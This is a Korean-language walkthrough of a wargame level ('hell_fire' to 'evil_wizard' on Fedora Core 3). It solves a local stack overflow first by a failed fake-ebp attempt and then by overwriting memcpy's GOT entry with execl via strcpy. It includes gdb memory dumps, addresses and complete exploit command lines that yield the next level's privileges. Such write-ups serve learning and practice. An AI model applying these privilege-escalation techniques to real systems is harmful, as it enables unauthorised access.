FC3 hell\_fire - evil\_wizard
GOT overwrite / local
stdin buffer를 사용할 수 없어 문자열을 삽입할 수는 없지만 local이니까 symlink로 메모리에 있는 값을 parameter로 사용할 수 있을 것 같다. 파라미터를 삽입할 수 없어 메모리에 있는 값을 활용해야 한다는 점만 제외하면 이전 문제와 비슷하게 해결할 수 있을 듯. 그런데, 그냥 삽입하면 연쇄적 ret으로 내려간다 해도 execl Addr을 넣을 때 \x00이 들어가 그 아래가 모두 \x00으로 초기화되기 때문에 메모리에 있던 파라미터도 \x00으로 초기화된다. 시도해볼 수 있는 방법은 fake ebp, GOT overwrite 정도인 듯.
fake ebp
fake ebp도 가능할 것 같아서 일단 fake ebp를 시도했다. execl()
을 사용하려면 두 번째 인자에 넘길 0x00000000
이 필요하기 때문에 그것부터 찾았다.
procfs_search :
1
2
0x0804855c : 0c 9e 04 08 [ 00 00 00 00 ] ff 25 10 9e
test_wizard gdb :
1
2
3
(gdb) x/x 0x804855c
0x804855c <\_init+32>: 0x08049e0c
여기에 대응되는 evil_wizard gdb :
1
2
3
4
5
6
0x80483ec <\_init+32>: 0x08049874
(gdb) x/s 0x8049874
0x8049874 <\_GLOBAL\_OFFSET\_TABLE\_+8>: "▒▒p"
(gdb) x/x 0x8049874
0x8049874 <\_GLOBAL\_OFFSET\_TABLE\_+8>: 0x0070e9e0
사용할 수 있을 것 같다. 위 문자열로 symlink 만들고, leave
로 리턴. 정상적으로 호출했을 경우 stack layout은 다음과 같은 형태이므로 4byte ret dummy를 확보해 주어야 하며 execl()+3
으로 리턴할 것이기 때문에 4byte sfp dummy도 확보해 주어야 한다.
| | | — | | sfp | | ret | | param … |
1
2
3
4
5
6
7
8
0x08048693 <main+319> : leave
ebp는 0x080483ec - 8로.
[hell\_fire@Fedora\_1stFloor ~]$ ./evil\_wizard `python -c 'print "b"\*268+ \
"\x93\x86\x04\x08"+ "b"\*88+ \
"\xe4\x83\x04\x08"+"\x23\x57\x7a"'`
안된다…
디버깅해보면
1
2
3
4
5
6
0x007a5723 in execl () from /lib/tls/libc.so.6
(gdb) x/4x $ebp
0x80483e4 <\_init+24>: 0x987035ff 0x25ff0804 0x08049874 0x00000000
(gdb) x/s 0x08049874
0x8049874 <\_GLOBAL\_OFFSET\_TABLE\_+8>: "▒▒p"
같은 파라미터를 사용한 test file은 아래와 같은 상태에서 제대로 실행된다.
1
2
3
4
5
6
Breakpoint 3, 0x007a5723 in execl () from /lib/tls/libc.so.6
(gdb) x/4x $ebp
0xfefd0a98: 0xfefd0ad8 0x0804839e 0xfefd0ac0 0x00000000
(gdb) x/s 0xfefd0ac0
0xfefd0ac0: "▒▒p"
파라미터는 제대로 들어갔는데 왜 안될까 생각해보니 W권한이 없는 영역 이라서 그렇다
따라서 쓰기 권한이 있는 08049000-0804a000
으로 돌려야 한다. 그러나 procfs_search로 조회해본 결과 애석하게도 이 영역에는 파라미터로 쓸만한 값이 있는 곳이 없었다.
1
2
f6fff000-f7000000 rw-p f6fff000 00:00 0
여기도 조사해봐야 하지만 갑자기 귀찮아져서 그냥 GOT overwrite로 풀기로 했다.
GOT overwrite
strcpy plt를 호출해서 memcpy got의 memcpy Addr을 execl Addr로 변경한 다음 memcpy plt 호출. strcpy를 호출하기 위해 execl의 주소를 가지고 있는 origin string pointer가 필요하다. 이전 문제에서는 이를 stdin으로 넘겼지만, 여기서는 불가능하다.
1
2
0x00720d68 : b4 0f 00 00 [ 20 57 7a 00 ] 05 01 00 00
한 곳 밖에 조회되지 않는다. 문제는 이 주소도 시작 1byte에 00이 들어가기 때문에, origin string pointer 이후는 모두 00으로 초기화된다는 점이다.
어차피 그러나 저러나 파라미터는 넘길 수 없는데, strcpy의 파라미터를 넘겨야 하는 위치와 execl의 파라미터를 넘겨야 하는 위치가 겹치기 때문.
그러나 다음과 같이 생각해보면 strcpy의 origin string pointer 인자를 execl의 첫번째 인자로 사용할 수 있다.그 아래는 00으로 초기화되므로 두 번째 인자의 조건도 만족하니 사용할 수 있을 것 같다.
| | | — | | buffer 256 Byte | | 8 Byte | | sfp | | ret ( strcpy ) | | ret ( execl ) | | dest | | src && execl의 param1 | | execl의 param2 |
1
2
3
4
5
6
7
8
(gdb) x/s 0x00720d6c
0x720d6c <\_r\_debug+30860>: " Wz"
(gdb) x/4x 0x00720d6c
0x720d6c <\_r\_debug+30860>: 0x007a5720
\x20
이 있으므로 symlink만들 때나 파라미터로 넘길 때 ""
로 묶어주어야 한다.
1
2
3
4
0x08048494 // call strcpy
0x08048434 // overwrited\_func ( call memcpy )
0x007854c0 // overwrited\_got ( memcpy's )
1
2
3
4
5
6
7
8
[hell\_fire@Fedora\_1stFloor ~]$ ./evil\_wizard "`python -c 'print "b"\*268+ \
"\x94\x84\x04\x08"+ \
"\x34\x84\x04\x08"+ \
"\x88\x98\x04\x08"+ \
"\x6c\x0d\x72\x00"'`"
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbrbbbbbbbbbbbbbbbbbbbbbbb▒+▒▒▒4▒l
euid = 504
get down like that
좋아~~~
strcpy()
와 execl()
의 파라미터 위치가 겹치는 문제는 pop_pop_ret gadget으로도 해결할 수 있다. 이는 다음 문제에 적어놓았다. * 프로그램 내부에서 setreuid()
를 호출하기 때문에 /bin/sh를 실행해도 된다. 이를 이용하면 ROP로 메모리에 산재해 있는 데이터 조각을 모아 string을 구성할 때 쉘코드의 길이를 줄일 수 있다. /bin/my-pass로 구성하는 것 보단 /bin/sh가 짧으니까.